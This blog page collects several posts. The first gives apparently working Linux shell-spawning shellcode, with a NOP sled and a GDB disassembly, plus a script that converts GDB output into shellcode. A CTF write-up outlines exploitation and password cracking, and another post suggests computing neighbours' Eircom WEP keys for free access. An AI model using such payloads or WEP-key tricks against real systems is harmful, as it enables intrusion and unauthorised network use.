muellis blog – Page 19 – …und alle so “Yeaahh!”

Convert GDB output to C-style shellcode

Due to developing shellcode during the recent days, I ended up needing to convert GDB output to C style strings very often. My sample output from GDB looks like this:
(gdb) disassemble function Dump of assembler code for function function: 0x08048254 <function+0>: push %ebp 0x08048255 <function+1>: mov %esp,%ebp 0x08048257 <function+3>: pop %ebp 0x08048258 <function+4>: jmp 0x8048268 <begin> 0x0804825a <function+6>: inc %ecx 0x0804825b <function+7>: inc %ecx 0x0804825c <function+8>: inc %ecx 0x0804825d <function+9>: inc %ecx 0x0804825e <function+10>: jmp 0x80482b3 <bottom> 0x08048260 <function+12>: pop %esi 0x08048261 <function+13>: mov %esi,%esp 0x08048263 <function+15>: sub $0x78,%esp 0x08048266 <function+18>: xor %edi,%edi 0x08048268 <begin+0>: mov %edi,%eax 0x0804826a <begin+2>: inc %eax 0x0804826b <begin+3>: inc %eax 0x0804826c <begin+4>: int $0x80 0x0804826e <begin+6>: test %eax,%eax 0x08048270 <begin+8>: je 0x8048288 <child> 0x08048272 <parent+0>: mov %edi,%eax 0x08048274 <parent+2>: mov $0xa2,%al 0x08048276 <parent+4>: push $0x11111111 ---Type <return> to continue, or q <return> to quit--- 0x0804827b <parent+9>: push $0x11111111 0x08048280 <parent+14>: mov %esp,%ebx 0x08048282 <parent+16>: mov %edi,%ecx 0x08048284 <parent+18>: int $0x80 0x08048286 <parent+20>: jmp 0x8048272 <parent> 0x08048288 <child+0>: mov -0x204(%esi),%ebx 0x0804828e <child+6>: mov %edi,%ecx 0x08048290 <child+8>: mov $0x3f,%al 0x08048292 <child+10>: int $0x80 0x08048294 <child+12>: inc %ecx 0x08048295 <child+13>: mov %edi,%eax 0x08048297 <child+15>: mov $0x3f,%al 0x08048299 <child+17>: int $0x80 0x0804829b <child+19>: inc %ecx 0x0804829c <child+20>: mov %edi,%eax 0x0804829e <child+22>: mov $0x3f,%al 0x080482a0 <child+24>: int $0x80 0x080482a2 <execshell+0>: mov %edi,%eax 0x080482a4 <execshell+2>: mov %al,0x7(%esi) 0x080482a7 <execshell+5>: push %eax 0x080482a8 <execshell+6>: push %esi 0x080482a9 <execshell+7>: mov %edi,%edx 0x080482ab <execshell+9>: mov %esp,%ecx ---Type <return> to continue, or q <return> to quit--- 0x080482ad <execshell+11>: mov %esi,%ebx 0x080482af <execshell+13>: mov $0xb,%al 0x080482b1 <execshell+15>: int $0x80 0x080482b3 <bottom+0>: call 0x8048260 <function+12> 0x080482b8 <bottom+5>: das 0x080482b9 <bottom+6>: bound %ebp,0x6e(%ecx) 0x080482bc <bottom+9>: das 0x080482bd <bottom+10>: jae 0x8048327 <__floatdisf+55> 0x080482bf <bottom+12>: inc %ecx 0x080482c0 <bottom+13>: ret End of assembler dump. (gdb) x/98xb 0x0804825e 0x804825e <function+10>: 0xeb 0x53 0x5e 0x89 0xf4 0x83 0xec 0x78 0x8048266 <function+18>: 0x31 0xff 0x89 0xf8 0x40 0x40 0xcd 0x80 0x804826e <begin+6>: 0x85 0xc0 0x74 0x16 0x89 0xf8 0xb0 0xa2 0x8048276 <parent+4>: 0x68 0x11 0x11 0x11 0x11 0x68 0x11 0x11 0x804827e <parent+12>: 0x11 0x11 0x89 0xe3 0x89 0xf9 0xcd 0x80 0x8048286 <parent+20>: 0xeb 0xea 0x8b 0x9e 0xfc 0xfd 0xff 0xff 0x804828e <child+6>: 0x89 0xf9 0xb0 0x3f 0xcd 0x80 0x41 0x89 0x8048296 <child+14>: 0xf8 0xb0 0x3f 0xcd 0x80 0x41 0x89 0xf8 0x804829e <child+22>: 0xb0 0x3f 0xcd 0x80 0x89 0xf8 0x88 0x46 0x80482a6 <execshell+4>: 0x07 0x50 0x56 0x89 0xfa 0x89 0xe1 0x89 0x80482ae <execshell+12>: 0xf3 0xb0 0x0b 0xcd 0x80 0xe8 0xa8 0xff 0x80482b6 <bottom+3>: 0xff 0xff 0x2f 0x62 0x69 0x6e 0x2f ---Type <return> to continue, or q <return> to quit--- 0x73 0x80482be <bottom+11>: 0x68 0x41 (gdb) Quit
And my desired output are the bytes in these strings:

char shcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 /* First the NOPs*/
 "\xeb\x04"              /* Jump over the ret addr */
 "\x41\x41\x41\x41"        /* wannabe ret addr */
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 /* Second NOP slide */
 "\xeb\x5d\x5e\x89\xf4\x81\xec\xc8\x00\x00\x00\x31\xff\xb8\x02\x00\x00\x00\xcd\x80\x85\xc0\x74\x17\xb8\xa2\x00\x00\x00\x68\xb8\x0b\x00\x00\x68\xb8\x0b\x00\x00\x89\xe3\x89\xf9\xcd\x80\xeb\xe9\x8b\x9e\xfc\xfd\xff\xff\x89\xf9\xb8\x3f\x00\x00\x00\xcd\x80\x41\xb8\x3f\x00\x00\x00\xcd\x80\x41\xb8\x3f\x00\x00\x00\xcd\x80\x89\xf8\x88\x46\x07\x50\x56\x89\xfa\x89\xe1\x89\xf3\xb0\x0b\xcd\x80\xe8\x9e\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41"
 /* that's the shellcode */

So I built a quick and dirty script which does the conversion and helped me saving a lot of time. Is there any better way of making gdb output the shellcode directly?

#!/usr/bin/env python
import sys
 
paginator  = '''---Type  to continue, or q  to quit---'''
 
def convert (to_convert):
    retlines = []
    for line in to_convert.splitlines():
        if line.startswith('--'):
            continue
        pos = line.find(":")
        newline_string = line[pos+1:]
        for needle, replacement  in (('\t', ''),
                       ('0x', r'\x'),
                       ('\n', ''),
                       (paginator, '')):
            newline_string = newline_string.replace(needle, replacement)
        retlines.append (newline_string)
    return "".join(retlines)
 
if __name__ == "__main__":
    to_convert = sys.stdin.read()
    converted = convert (to_convert)
    print converted

Want to take a guess what the shellcode actually does? It’s not too hard to see though.

IRISS Conference 2009

I had the joy to attend the first annual IRISS Conference 2009 which is a for free conference held by IRISS, the Irish CERT.

It was about cybercrime in general and there were speaker from e.g. SANS, IRISS -the local cert- or Team Cymru which I already enjoyed at DNF CERT Conf at the beginning of the year.

One talk I attended was by a local polices cybercrime investigation team. He basically talked about the goodness of creating movement profiles with GSM data and ISP keeping IP to customer data to catch criminals…

Then we participated in HackEire, a Capture the Flag style contest. We ran second. Not too bad for our sucky preparation and the fact that we spent more than an hour to make a Mac share its 3G uplink with two Linux Notebooks over (encrypted -didn’t work-) WiFi. The game network was 10.0.1.0/23 and the Mac automatically and not changable was 10.0.2.0/24. Although the networks overlapped by one bit I expected it to work for the majority of the packets being sent. But we failed. Hard. So hard, that the Mac couldn’t take part in the game anymore… I need to polish either my understanding of networking or my passion for hating Apple.

This CtF, however, was a bit different since there was one virtual network for everyone. I.e. no team had an own server or an own virtual network. There were four machines which were supposed to be owned in a given order. That wasn’t immediately clear and there were many tarpits to waste a lot of time. I.e. a Kernel in a supposed-to-be vulnerable version which is not exploitable, or a separate PHP user for the Webserver with a locked down home directory, tempting you to mess around with PHP scripts to investigate.

And the end of the day, the contest was about collecting secret keys to decrypt a file afterwards. The secret keys were more or less obviously lying around once the machine has been pwned. Passphrases to that secret keys were either user passwords or otherwise easily guessable strings.

The Machines were:

Linux Webserver. To be 0wned with a password being served on a page from the webserver. A bit obfuscated though, so that one had to use the source. Once SSHed to that host, secrings were lying around in ~/gnupg/. Also, weird processes were running that connected to a strange host outside the network (4) to send a password over the wire.
BIND on windows (sic!). To be pwned via the conficker exploit. Also, one should crack a users password using THCs Hydra.
Linux Mailserver. With SSH Server only visible when coming from (1). Log in with password from (2). Machine was running an old kernel, thus sooner or later you g0t root. Then search for keyring in home directories. Also, crack the shadow using a John that’s capable of cracking SHA256 (i.e. not the most recent version shipped with Ubuntu).
“hidden” DB server on Windows, only connectable from (1). You could find that machine by looking at the network interfaces of (1). You’d see that it has a second interface with a different IP thus inviting you to scan the new subnet. Luckily, there was an smbclient on (1) and with credentials from (1), one could enumerate all users (smbclient -L). Then, with the other credentials found on (1), connect and get keyring as well as final encrypted file.

That final file could be decrypted using keys and passphrases obtained earlier. Out came an ELF binary that looked, smelled and quacked like “ls”. However, it contained a steganographically hidden text file. Using a standard stego tool shipped with Backtrack, it’s possible to obtain the very final CSV file.

I not only liked the fact that they posted hints on the wall every now and then, but also that they actively walked around, talking to the teams and helped them actually achieving stuff. In fact, I wouldn’t even have thought about transferring zones from that BIND instance using AXFR or checking the machines whether they have an smbclient installed.

While we were playing, I bricked my sudo by trying to add a line without knowing the syntax. I couldn’t do sudo nano /etc/sudoers afterwards as it couldn’t parse the file, effectively leaving me without root access. I think I’ll better use visudo now…

Ireland vs. France

Heh, the following conversation might not have happened (unless the Consulat Général De France is located in “Joker Street”, but anyway, it’s hillarious. Either read the quotes or find the (largish) Image:

20 October 2009

Dear Sir,

I am writing to you on behalf of the French President, Monsieur Nicolas Sarkozy. Following the recent announcement of the World Cup play-off match between our two countries, the President has requested that you provide a VIP box for the game as he is very keen to attend.

Yours faithfully,
Jacques du Maurier
Directeur
Consulat Général de France
12-24 Rue des Blaguer
74139 Paris
France

23.10.09

Dear Mr. Du Maurier,

Thank-you for your recent letter concerning box arrangements at Croke Park. We are delighted that President Sarkozy wishes to attend and look forward to welcoming him. We would just like some clarification regarding the VIP box as there are a number of options available. Do you have any preferences re: size?

Yours faithfully,
Bill O’Leary
Liaison officer
Department of Diplomatic Affairs
28 St. Stephens Green South
Dublin 2
Ireland

26.10.09

Dear Mr. O’Leary,

Thank-you for your prompt response. We were not aware that the boxes at the stadium came in different sizes. Do the dimensions have any bearing on one’s enjoyment of the game?

Yours faithfully,
Jacques du Maurier

29.10.09

Dear Mr. Du Maurier,

The overall match experience will certainly be influenced by the President’s choice of box. The first box is 30cm high and will allow the President to see most of the Croke Park pitch, though he may not be quite able to see play in the North-West quadrant. The second box is 60cm, but whilst this would afford the President a panoramic view of the pitch, it will also make him visible to Press photographers which may compromise his privacy.

Yours faithfully,
Bill O’Leary

2 Novembre 2009

Dear Mr. O’Leary,

There appears to have been some confusion. When we requested a “VIP box” for our President, we were not looking for a box for him to stand on. Whilst we expect the foreign press to make humorous remarks about the President’s diminutive stature, we do not expect this from an official representative of the Irish government department.

Yours faithfully,
Jacques du Maurier

5.11.09

Please accept our apologies and those of the Executive Hospitality Committee at Croke Park. There was certainly no intentional attempt at humour on our part and we hope that you will accept this as a genuine misunderstanding. Naturally, we will make a VIP ‘Executive’ box available to the President, with full security and hospitality arrangements in place. The boxes will then be placed discreetly inside.

Yours faithfully,
Bill O’Leary

9 Novembre 2009

Sir,

In light of the lack of respect we feel your office has displayed in response to an official request from a visiting Head of State, the President has decided to watch the match in Paris instead. Rest assured that we will be lodging a formal complaint regarding your conduct at the highest levels.

Jacques du Maurier

12.11.09

Fair enough. We look forward to seeing the boys in green give your lot a good hammering.

Bill

Split CUE File and losslessly compressed Audio (FLAC, ape, …)

For some reason, I had to split a CUE file and a losslessly compressed audio file into single files to make it one file per track instead of one big file. My audio file was compressed with APE which I didn’t know before at all. But it has a weird license anyway.

So I came across a really good page describing what to do which is basically using shntool (homepage). It’s really good, easy to use and has built in transcoding through appropriate third party programs, so I could transcode to Vorbis on the fly 🙂 It converts anything to anything, as long as it’s sound so you might find that tool useful as well 🙂

GNOME Post-Only

FYI, if you happen to have multiple email addresses subscribed to multiple GNOME mailinglists and constantly forget which email address is allowed to post where, simply subscribe to post-only! After your subscription, you should be able to post with your email address on every list 🙂

jOEpardy at Easterhegg09

I held a jOEpardy session at Easterhegg09! I guess, you know what a Jeopardy is, if not, have a look at the Wikipedia 😛

The people were entertained and hopefully learned something 😉 Sadly, the hardware didn’t really work 🙁 The buzzer were somewhat broken so that we actually had to try to see (with our eyes) who pushed the button first. Funnily enough, I *did* test the setup extensively just 10 minutes before the gig! Very weird.

The Questions can be found here: Round 1, Round 2, Round 3, Round 4. But it doesn’t make much sense without the jOEpardy software, unless you parse the XML on your own.

The software is a Java Application which was initially written by TriPhoenix! I haven’t written Java for a long time and I have to admit, that writing Java with Eclipse is actually fun! Eclipse is so smart and tightly integrated in the build process that it’s quite easy to write, build and debug. I wish there was such a good IDE for C or Python. Sadly, I think that Java Code is bloated although <2.500 LoC for a jOEpardy is not too bad I’d say 🙂

I actually thought I could release the jOEpardy code by now (and thus waited with this post…), but I still have to resolve copyright questions.

Free SMS

This could be interesting to anyone sending texts (SMS): In Ireland, I guess every operator has a so called webaccess which allows you to send up to a certain number of texts for free. Worldwide. That’s kinda handy because sending a SMS via normal GSM mode easily costs you 10ct. A data connection, however, should be much cheaper (around 4ct. with O2 Ireland, not even 1ct with Simyo in Germany). You only need credentials to log into their website, so no SIM card is (directly) needed.

Because using the web sucks you want to have a nice and clean interface which you can program and extend yourself. Luckily, there are at least two projects, helping you to send SMS comfortably.

One for your PC is o2sms which is really handy. It’s a Perl script and easily useable:

mkdir -p ~/svn/ ~/bin/
svn co https://o2sms.svn.sourceforge.net/svnroot/o2sms
cat > ~/bin/o2sms <<EOF
#!/bin/sh

pushd ~/svn/o2sms/trunk/o2sms3/lib/
../bin/o2sms $@
popd
EOF

You have to have ~/bin/ in your path of course. I put the following in my /etc/profile:

if [ -d $HOME/bin ]; then
  PATH=$HOME/bin:$PATH
fi

If you don’t have a PC at hand, you will find Cabbage useful. It’s a J2ME application for you mobile phone and it’s quite easy to use.

You might even find an (semi) open wireless network using the J2ME app which calculates WEP Keys of Eircom routers, so that you don’t even have to spend the money on the data connection. The algorithm is describere here and you can find a Perl or Python, as well as a C++ implementation here.

On O2, you can send free SMS via normal GSM, so it would be a pity if you had to use the Webtexts. As I discovered that sending SMS via a serial connection is easy, I started to write PySMS. It’s still work in progress, but it actually parses your o2sms configuration file so that you can use send_sms instead of o2sms to send your SMS. To get it working right you might want to enter your phones Bluetooth address in /etc/bluetooth/rfcomm.conf. Mine reads:

rfcomm2 {
  bind yes;
  device 00:FO:OB:AR:BA:ZZ;
  channel   2;
  comment "Mah Mobile";
}

Dunno exactly how to determine the channel, but I guess sdptool browse should show “Dial-Up Networking” as service name for the channel.

I’d really like to have a wrapper around send_sms and o2sms which decides for me whether it sends the SMS via GSM, Web or both. But my main problem, beside the lack of time, is that I can’t snoop on stdin to pass it to a second program afterwards. Since I don’t really know if stdin must be read, I can’t read it myself and just send it twice. Also, subprocess.Popen is not particucarly happy accepting anything else than stdin or a string. So if you have a solution to this problem, please show up 🙂

The next step is to write a simple webinterface against this o2sms library and have free SMS for everyone 🙂

Ireland, Blasphemy €25.000 and other rules

I was rather shocked as I read this article about a law passing the Dáil which fines blasphemy with 25.000 Euro. If I didn’t know better I’d say this couldn’t happen in an European country, but astonishingly such things happen within the EU. Now I’m a bit afraid being Ireland as an atheist.

So yes, I moved to Dublin, Ireland to study at the DCU 🙂 If you want to visit me, have lunch or a pint, don’t hesitate to ring me 🙂 I haven’t seen so much of Ireland myself so far, but I’ve been into bloody cold Irish Sea…

Also, The Pirate Bay is blocked by Eircom, the largest ISP in Ireland. They use an IP based filter, not only a DNS based one. So they actually interfere with my communication which I assumed to be unconstitutional. But luckily, I have a tunnel set up which gives me free access to the world.

Besides the panic about the swine flu, another weird thing is Irish bureaucracy. My impression is that the people don’t really think beyond their utterly extensive and most of the times really stupid rules. For example, I tried to register at the University by paying 2000 Euros study fees. It failed because my credit card apparently has a limit of something less than that. The registry advised me to wire the money and print a screenshot of the online banking site. Of course I didn’t know a) how I could connect my laptop to the internet, b) how or where to print and c) log on to anything because I wasn’t even a student yet. Luckily, I have some friends at that university, that helped me out so I could finally register… It appears, that the rules are generally made to be ignored. They probably want to have them just in case they need to file a case against you. So as I applied at the university, I had been offered a conditional offer which was to be accepted by some specified date. I couldn’t, however, fulfill the condition and time to discuss that was running out. They told me that the date could generally be amended. I don’t think it’s good to have rules which are known to not be enforced and just needed to have something against you just in case…

The pubs in Dublin are great, although they have to close rather early, like around 02:00 o’clock. Also, you can’t get beer after 22:00 in a shop *sigh*. Yes, Irland might have a drinking problem, but treating everybody like a small child obviously doesn’t help it.

New Heise Feeds

Even after Heise updated its CMS it doesn’t deliver Atom Feeds with an abstract. I hope they’ll at least produce well formed XML… As I think the abstracts, which can be found on the main page or the mobile version, are quite handy, I wrote a parser which will generate an Atom feed with the teaser (and not the first paragraph of the article) built in. I couldn’t use MakeMyRSS not just because it prints an ad every month or so, but because I had the requirement to link to the print URLs instead of the web URLs (I don’t have that requirement anymore). But since MakeMyRSS is not free, I liked to have my own solution anyway 🙂 Plus, it’s not written in Bash 😉

You can find the Atom feed at http://muelli.cryptobitch.de/rss/heise-atom.xml or the parser here. But you’d be better off cloning the repository (hg clone http://hg.cryptobitch.de/geRSSicht/) because you can send me patches more easily 😉

You’ll also find a parser for the adminstrative court of Hamburg and for Telepolis. All the news are in German though, but at least the Heise feed should be easily portable for The H…

Engrish

Alright, the following stuff is probably only funny, if you know German and Germans a bit. At least I had to laugh a couple of times, so you might enjoy that as well 🙂

I received a PDF with some weird English translations of German idioms and I tried to extract the text information from that, so I stumbled upon a page explaining how to do OCR with free software on Linux. I got the best results using Tesseract with the German language set, but I had to refine the result (leaving some typos intact).

that’s me sausage = ist mir wurst
go where the pepper grows = geh hin wo der pfeffer wächst
I think my pig whizzles = ich glaub mein schwein pfeift
sorry, my english is under all pig = entschuldige, mein englisch ist unter aller sau
now can come what want…i ready = letzt kann kommen was will, ich bin fertig
I think I spider = ich glaub ich spinne
the devil will i do = den teufel werd ich tun
what too much is, is too much = was zu viel ist, ist zu viel
my lovely mister singing club = mein lieber herr gesangsverein
don’t walk me on the nerves = geh mir nicht auf die nerven
come on…jump over your shadow = komm schon…spring ueber deinen schatten
you walk me animally on the cookie = du gehts mir tierisch auf den keks
there my hairs stand up to the mountain = da stehen mir die haare zu berge
tell me nothing from the horse = erzaehl mir keinen vom pferd
don’t ask after sunshine = trag nicht nach sonnenschein
free like the motto: you me too = frei nach dem Motto, du mich auch
I have the nose full = ich hab die nase voll
lt’s not good cherry-eating with you = es ist nicht gut kirschen essen mit dir
it’s going up like smiths cat = es geht ab wie Schmidts katze
to thunderweather once more = zum Donnerwetter noch mal
not from bad parents = nicht von schlechten eltern
now it goes around the sausage = jetzt geht’s um die wurst
there you on the woodway = da bist du auf dem holzweg
good thing needs while = gut ding braucht weile
holla the woodfairy = holla die waldfee
we are sitting all in the same boot = wir sitzen alle im selben boot
don’t make you a head = mach dlr keinen kopf
there run me the water in the mouth together = da läuft rnlr das wasser im mund zusammen
I understand just train-station = ich versteh nur bahnhof
I hold it in head not out = ich halt’s im kopf nicht aus
shame you what = scham dich was
there we have the salad = da haben wir den salat
end good, everything good = ende gut, alles gut
zip you together = reiß dich zusammen
now butter by the fishes = jetzt mal butter bei die flsche
he made himself me nothing you nothing out of the dust — er machte sich mir nichts, dir nichts aus dem Staub
I belive you have the ass open — ich glaub du hast den Arsch auf!
you make me nothing for = du machst mir nichts vor
that makes me so fast nobody after = das macht mir so schnell keiner nach
I see black for you = ich seh schwarz fur dich
so a pig-weather = so ein Sauwetter
you are really the latest = du bist wirklich das letzte
your are so a fear-rabbit = du bist so ein angsthase
everybody dance after your nose = alle tanzen nach deiner nase
known home luck alone = trautes Heim, Glueck allein
I think I hear not right = Ich denk Ich hör nicht richtig
that have you your so thought = das hast du dir so gedacht
give not so on = gib nicht so an
heaven, ass and thread! = Himmel, Arsch und Zwirn’
of again see = auf wiedersehen
Human Meier = Mensch Meier
now we sit quite beautiful in the ink = jetzt sitzen wir ganz schoen in der Tinte
you have not more all cups in the board = du hast nicht mehr alle Tassen im Schrank
around heavens will = um Himmels willen
you are heavy in order = du bist schwer in Ordnung
l wish you what = ich wünsch dir was
she had a circleroundbreakdown = sie hatte einen kreislaufzusammenbruch
you are a blackdriver = du bist ein schwarzfahrer
I know me here out = ich kenn mich hier aus
l fell from all clouds = Ich fiel aus allen Wolken
that I not laugh = das ich nicht lache
no one can reach me the water = niemand kann mir das wasser relchen
that’s absolut afterfullpullable = das ist absolut nachvollziehbar
give good eight = gib gut acht
not the yellow of the egg = nicht das gelbe vom Ei
come good home = komm gut heim
evererything in the green area = alles im gruenen bererch
I die for Blackforrestcherrycake = Ich sterbe fuer Schwarzwalderkirschtorte
how too always = wie auch immer
I make you ready! = Ich mach dlch fertig!
I laugh me death = ich lach mich tot
it walks me icecold the back down = es lauft mir eiskalt den rücken runter
always with the silence = Immer mit der Ruhe
that’s one-wall-free = das Ist einwandfrei
I’m foxdevilswild = lch bin fuchsteufelswild
here goes the mail off = hier geht die post ab
me goes a light on = mir geht ein licht auf
it‘s highest railway = es ist hoechste Eisenbahn